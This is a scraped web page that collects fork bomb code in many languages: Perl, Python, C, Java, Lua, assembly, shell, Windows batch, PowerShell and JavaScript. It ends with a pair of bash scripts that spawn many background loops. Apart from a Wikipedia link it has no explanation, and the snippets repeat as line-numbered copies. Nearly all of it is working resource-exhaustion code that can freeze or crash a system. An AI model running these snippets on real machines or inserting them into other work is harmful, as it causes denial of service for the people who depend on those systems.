Fork bomb — b14esh.com

https://en.wikipedia.org/wiki/Fork_bomb

1	https://en.wikipedia.org/wiki/Fork_bomb

fork while true

1	fork while true

perl -e "fork while fork" &

1	perl -e "fork while fork" &

import os
while True:
    os.fork()

1

2

3

import os

while True:

os.fork()

#include <sys/types.h>
#include <unistd.h>

int main()
{
    while(1)
    {
      fork();
    }
    return 0;
}

1

2

3

4

5

6

7

8

9

10

11

#include <sys/types.h>

#include <unistd.h>

int main()

{

while(1)

{

fork();

}

return 0;

}

public class ForkBomb
{
    public static void main(String[] args)
    {
        while (true)
        {
            Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"});
        }
    }
}

1

2

3

4

5

6

7

8

9

10

public class ForkBomb

{

public static void main(String[] args)

{

while (true)

{

Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"});

}

-- Requires `luaposix' module
local unistd = require "posix.unistd"

while true do
  unistd.fork()
end

1

2

3

4

5

6

-- Requires `luaposix' module

local unistd = require "posix.unistd"

while true do

unistd.fork()

end

section .text
    global _start
    
_start:
    mov eax,2 ;System call for forking
    int 0x80  ;Call kernel
    jmp _start

1

2

3

4

5

6

7

section .text

global _start

_start:

mov eax,2 ;System call for forking

int 0x80 ;Call kernel

jmp _start

#!/bin/sh
./$0|./$0&

1 2	#!/bin/sh ./$0\|./$0&

#!/bin/sh
./$0&
./$0&

1

2

3

#!/bin/sh

./$0&

bomb(){
  bomb | bomb & 
}
bomb

1

2

3

4

bomb(){

bomb | bomb &

}

bomb

:(){ :|:& };:

1	:(){ :\|:& };:

bomb(){bomb|bomb&};bomb

1	bomb(){bomb\|bomb&};bomb

:ForkBomb
 start
 goto ForkBomb

1

2

3

:ForkBomb

start

goto ForkBomb

%0 | %0

1

%0 | %0

echo  %0^|%0  >forkbomb.bat & forkbomb.bat

1	echo %0^\|%0 >forkbomb.bat & forkbomb.bat

cmd /k echo -^|->-.bat&-

1	cmd /k echo -^\|->-.bat&-

while ($true) {
    Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:";
    Invoke-Expression -Command 'while($true) {Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:"}';
}

1

2

3

4

while ($true) {

Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:";

Invoke-Expression -Command 'while($true) {Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:"}';

}

(f => f(f))(async f => f(f) && f(f));

1	(f => f(f))(async f => f(f) && f(f));

cat 2.txt 
---------
#!/bin/bash
while :
do 
#echo `date`
#echo 
sleep 1
done
---------
cat 1.txt
--------- 
#!/bin/bash
i=1
while [ $i -le 100 ]
do 
./2.txt & 
i=$(($i+1))
done
---------

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

cat 2.txt

---------

#!/bin/bash

while :

do

#echo `date`

#echo

sleep 1

done

---------

cat 1.txt

---------

#!/bin/bash

i=1

while [ $i -le 100 ]

do

./2.txt &

i=$(($i+1))

done

---------